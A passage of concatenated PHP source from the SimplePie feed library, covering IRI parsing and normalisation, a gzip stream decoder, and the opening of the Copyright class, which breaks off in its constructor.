					if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null)
					{
						$target = clone $relative;
						$target->scheme = $base->scheme;
					}
					else
					{
						$target = new SimplePie_IRI;
						$target->scheme = $base->scheme;
						$target->iuserinfo = $base->iuserinfo;
						$target->ihost = $base->ihost;
						$target->port = $base->port;
						if ($relative->ipath !== '')
						{
							if ($relative->ipath[0] === '/')
							{
								$target->ipath = $relative->ipath;
							}
							elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '')
							{
								$target->ipath = '/' . $relative->ipath;
							}
							elseif (($last_segment = strrpos($base->ipath, '/')) !== false)
							{
								$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
							}
							else
							{
								$target->ipath = $relative->ipath;
							}
							$target->ipath = $target->remove_dot_segments($target->ipath);
							$target->iquery = $relative->iquery;
						}
						else
						{
							$target->ipath = $base->ipath;
							if ($relative->iquery !== null)
							{
								$target->iquery = $relative->iquery;
							}
							elseif ($base->iquery !== null)
							{
								$target->iquery = $base->iquery;
							}
						}
						$target->ifragment = $relative->ifragment;
					}
				}
				else
				{
					$target = clone $base;
					$target->ifragment = null;
				}
				$target->scheme_normalization();
				return $target;
			}

			return false;
		}
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri)
	{
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match))
		{
			if ($match[1] === '')
			{
				$match['scheme'] = null;
			}
			if (!isset($match[3]) || $match[3] === '')
			{
				$match['authority'] = null;
			}
			if (!isset($match[5]))
			{
				$match['path'] = '';
			}
			if (!isset($match[6]) || $match[6] === '')
			{
				$match['query'] = null;
			}
			if (!isset($match[8]) || $match[8] === '')
			{
				$match['fragment'] = null;
			}
			return $match;
		}

		// This can occur when a paragraph is accidentally parsed as a URI
		return false;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input)
	{
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..')
		{
			// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0)
			{
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0)
			{
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0)
			{
				$input = substr($input, 2);
			}
			elseif ($input === '/.')
			{
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0)
			{
				$input = substr($input, 3);
				$output = substr_replace($output, '', strrpos($output, '/'));
			}
			elseif ($input === '/..')
			{
				$input = '/';
				$output = substr_replace($output, '', strrpos($output, '/'));
			}
			// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..')
			{
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false)
			{
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else
			{
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $string Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
	{
		// Normalize as many pct-encoded sections as possible
		$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $string);

		// Replace invalid percent characters
		$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($string);
		while (($position += strspn($string, $extra_chars, $position)) < $strlen)
		{
			$value = ord($string[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0)
			{
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0)
			{
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0)
			{
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else
			{
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining)
			{
				if ($position + $length <= $strlen)
				{
					for ($position++; $remaining; $position++)
					{
						$value = ord($string[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80)
						{
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else
						{
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else
				{
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			)
			{
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid)
					$position--;

				for ($j = $start; $j <= $position; $j++)
				{
					$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $string;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($match)
	{
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++)
		{
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining)
			{
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F)
				{
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0)
				{
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0)
				{
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0)
				{
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else
				{
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else
			{
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80)
				{
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else
				{
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining)
			{
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
				)
				{
					for ($j = $start; $j <= $i; $j++)
					{
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else
				{
					for ($j = $start; $j <= $i; $j++)
					{
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining)
		{
			for ($j = $start; $j < $len; $j++)
			{
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization()
	{
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo'])
		{
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost'])
		{
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port'])
		{
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath'])
		{
			$this->ipath = '';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery'])
		{
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment'])
		{
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid()
	{
		if ($this->ipath === '') return true;

		$isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
			$this->port !== null;
		if ($isauthority && $this->ipath[0] === '/') return true;

		if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) return false;

		// Relative urls cannot have a colon in the first path segment (and the
		// slashes themselves are not included so skip the first character).
		if (!$this->scheme && !$isauthority &&
		    strpos($this->ipath, ':') !== false &&
		    strpos($this->ipath, '/', 1) !== false &&
		    strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) return false;

		return true;
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	public function set_iri($iri, $clear_cache = false)
	{
		static $cache;
		if ($clear_cache)
		{
			$cache = null;
			return;
		}
		if (!$cache)
		{
			$cache = array();
		}

		if ($iri === null)
		{
			return true;
		}
		elseif (isset($cache[$iri]))
		{
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri((string) $iri);
		if (!$parsed)
		{
			return false;
		}

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	public function set_scheme($scheme)
	{
		if ($scheme === null)
		{
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme))
		{
			$this->scheme = null;
			return false;
		}
		else
		{
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	public function set_authority($authority, $clear_cache = false)
	{
		static $cache;
		if ($clear_cache)
		{
			$cache = null;
			return;
		}
		if (!$cache)
			$cache = array();

		if ($authority === null)
		{
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		elseif (isset($cache[$authority]))
		{
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false)
		{
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else
		{
			$iuserinfo = null;
		}
		if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false)
		{
			if (($port = substr($remaining, $port_start + 1)) === false)
			{
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else
		{
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	public function set_userinfo($iuserinfo)
	{
		if ($iuserinfo === null)
		{
			$this->iuserinfo = null;
		}
		else
		{
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	public function set_host($ihost)
	{
		if ($ihost === null)
		{
			$this->ihost = null;
			return true;
		}
		elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']')
		{
			if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1)))
			{
				$this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else
			{
				$this->ihost = null;
				return false;
			}
		}
		else
		{
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen)
			{
				if ($ihost[$position] === '%')
				{
					$position += 3;
				}
				else
				{
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	public function set_port($port)
	{
		if ($port === null)
		{
			$this->port = null;
			return true;
		}
		elseif (strspn($port, '0123456789') === strlen($port))
		{
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	public function set_path($ipath, $clear_cache = false)
	{
		static $cache;
		if ($clear_cache)
		{
			$cache = null;
			return;
		}
		if (!$cache)
		{
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath]))
		{
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else
		{
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath =  ($this->scheme !== null) ? $removed : $valid;
		}

		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	public function set_query($iquery)
	{
		if ($iquery === null)
		{
			$this->iquery = null;
		}
		else
		{
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	public function set_fragment($ifragment)
	{
		if ($ifragment === null)
		{
			$this->ifragment = null;
		}
		else
		{
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @return string
	 */
	public function to_uri($string)
	{
		static $non_ascii;
		if (!$non_ascii)
		{
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($string);
		while (($position += strcspn($string, $non_ascii, $position)) < $strlen)
		{
			$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $string;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string
	 */
	public function get_iri()
	{
		if (!$this->is_valid())
		{
			return false;
		}

		$iri = '';
		if ($this->scheme !== null)
		{
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null)
		{
			$iri .= '//' . $iauthority;
		}
		if ($this->ipath !== '')
		{
			$iri .= $this->ipath;
		}
        elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '')
		{
			$iri .= $this->normalization[$this->scheme]['ipath'];
		}
		if ($this->iquery !== null)
		{
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null)
		{
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	public function get_uri()
	{
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string
	 */
	protected function get_iauthority()
	{
		if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null)
		{
			$iauthority = '';
			if ($this->iuserinfo !== null)
			{
				$iauthority .= $this->iuserinfo . '@';
			}
			if ($this->ihost !== null)
			{
				$iauthority .= $this->ihost;
			}
            if ($this->port !== null && $this->port !== 0)
			{
				$iauthority .= ':' . $this->port;
			}
			return $iauthority;
		}

		return null;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority()
	{
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority))
			return $this->to_uri($iauthority);

		return $iauthority;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode 'gzip' encoded HTTP data
 *
 * @package SimplePie
 * @subpackage HTTP
 * @link http://www.gzip.org/format.txt
 */
class SimplePie_gzdecode
{
	/**
	 * Compressed data
	 *
	 * @access private
	 * @var string
	 * @see gzdecode::$data
	 */
	var $compressed_data;

	/**
	 * Size of compressed data
	 *
	 * @access private
	 * @var int
	 */
	var $compressed_size;

	/**
	 * Minimum size of a valid gzip string
	 *
	 * @access private
	 * @var int
	 */
	var $min_compressed_size = 18;

	/**
	 * Current position of pointer
	 *
	 * @access private
	 * @var int
	 */
	var $position = 0;

	/**
	 * Flags (FLG)
	 *
	 * @access private
	 * @var int
	 */
	var $flags;

	/**
	 * Uncompressed data
	 *
	 * @access public
	 * @see gzdecode::$compressed_data
	 * @var string
	 */
	var $data;

	/**
	 * Modified time
	 *
	 * @access public
	 * @var int
	 */
	var $MTIME;

	/**
	 * Extra Flags
	 *
	 * @access public
	 * @var int
	 */
	var $XFL;

	/**
	 * Operating System
	 *
	 * @access public
	 * @var int
	 */
	var $OS;

	/**
	 * Subfield ID 1
	 *
	 * @access public
	 * @see gzdecode::$extra_field
	 * @see gzdecode::$SI2
	 * @var string
	 */
	var $SI1;

	/**
	 * Subfield ID 2
	 *
	 * @access public
	 * @see gzdecode::$extra_field
	 * @see gzdecode::$SI1
	 * @var string
	 */
	var $SI2;

	/**
	 * Extra field content
	 *
	 * @access public
	 * @see gzdecode::$SI1
	 * @see gzdecode::$SI2
	 * @var string
	 */
	var $extra_field;

	/**
	 * Original filename
	 *
	 * @access public
	 * @var string
	 */
	var $filename;

	/**
	 * Human readable comment
	 *
	 * @access public
	 * @var string
	 */
	var $comment;

	/**
	 * Don't allow anything to be set
	 *
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set($name, $value)
	{
		trigger_error("Cannot write property $name", E_USER_ERROR);
	}

	/**
	 * Set the compressed string and related properties
	 *
	 * @param string $data
	 */
	public function __construct($data)
	{
		$this->compressed_data = $data;
		$this->compressed_size = strlen($data);
	}

	/**
	 * Decode the GZIP stream
	 *
	 * @return bool Successfulness
	 */
	public function parse()
	{
		if ($this->compressed_size >= $this->min_compressed_size)
		{
			// Check ID1, ID2, and CM
			if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08")
			{
				return false;
			}

			// Get the FLG (FLaGs)
			$this->flags = ord($this->compressed_data[3]);

			// FLG bits above (1 << 4) are reserved
			if ($this->flags > 0x1F)
			{
				return false;
			}

			// Advance the pointer after the above
			$this->position += 4;

			// MTIME
			$mtime = substr($this->compressed_data, $this->position, 4);
			// Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
			if (current(unpack('S', "\x00\x01")) === 1)
			{
				$mtime = strrev($mtime);
			}
			$this->MTIME = current(unpack('l', $mtime));
			$this->position += 4;

			// Get the XFL (eXtra FLags)
			$this->XFL = ord($this->compressed_data[$this->position++]);

			// Get the OS (Operating System)
			$this->OS = ord($this->compressed_data[$this->position++]);

			// Parse the FEXTRA
			if ($this->flags & 4)
			{
				// Read subfield IDs
				$this->SI1 = $this->compressed_data[$this->position++];
				$this->SI2 = $this->compressed_data[$this->position++];

				// SI2 set to zero is reserved for future use
				if ($this->SI2 === "\x00")
				{
					return false;
				}

				// Get the length of the extra field
				$len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
				$this->position += 2;

				// Check the length of the string is still valid
				$this->min_compressed_size += $len + 4;
				if ($this->compressed_size >= $this->min_compressed_size)
				{
					// Set the extra field to the given data
					$this->extra_field = substr($this->compressed_data, $this->position, $len);
					$this->position += $len;
				}
				else
				{
					return false;
				}
			}

			// Parse the FNAME
			if ($this->flags & 8)
			{
				// Get the length of the filename
				$len = strcspn($this->compressed_data, "\x00", $this->position);

				// Check the length of the string is still valid
				$this->min_compressed_size += $len + 1;
				if ($this->compressed_size >= $this->min_compressed_size)
				{
					// Set the original filename to the given string
					$this->filename = substr($this->compressed_data, $this->position, $len);
					$this->position += $len + 1;
				}
				else
				{
					return false;
				}
			}

			// Parse the FCOMMENT
			if ($this->flags & 16)
			{
				// Get the length of the comment
				$len = strcspn($this->compressed_data, "\x00", $this->position);

				// Check the length of the string is still valid
				$this->min_compressed_size += $len + 1;
				if ($this->compressed_size >= $this->min_compressed_size)
				{
					// Set the original comment to the given string
					$this->comment = substr($this->compressed_data, $this->position, $len);
					$this->position += $len + 1;
				}
				else
				{
					return false;
				}
			}

			// Parse the FHCRC
			if ($this->flags & 2)
			{
				// Check the length of the string is still valid
				$this->min_compressed_size += $len + 2;
				if ($this->compressed_size >= $this->min_compressed_size)
				{
					// Read the CRC
					$crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));

					// Check the CRC matches
					if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc)
					{
						$this->position += 2;
					}
					else
					{
						return false;
					}
				}
				else
				{
					return false;
				}
			}

			// Decompress the actual data
			if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false)
			{
				return false;
			}

			$this->position = $this->compressed_size - 8;

			// Check CRC of data
			$crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
			$this->position += 4;
			/*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
			{
				return false;
			}*/

			// Check ISIZE of data
			$isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
			$this->position += 4;
			if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize))
			{
				return false;
			}

			// Wow, against all odds, we've actually got a valid gzip string
			return true;
		}

		return false;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see SimplePie_Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see SimplePie::set_copyright_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Copyright
{
	/**
	 * Copyright URL
	 *
	 * @var string
	 * @see get_url()
	 */
	var $url;

	/**
	 * Attribution
	 *
	 * @var string
	 * @see get_attribution()
	 */
	var $label;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($url = null, $label = null)
	{
		$this->url = $url;
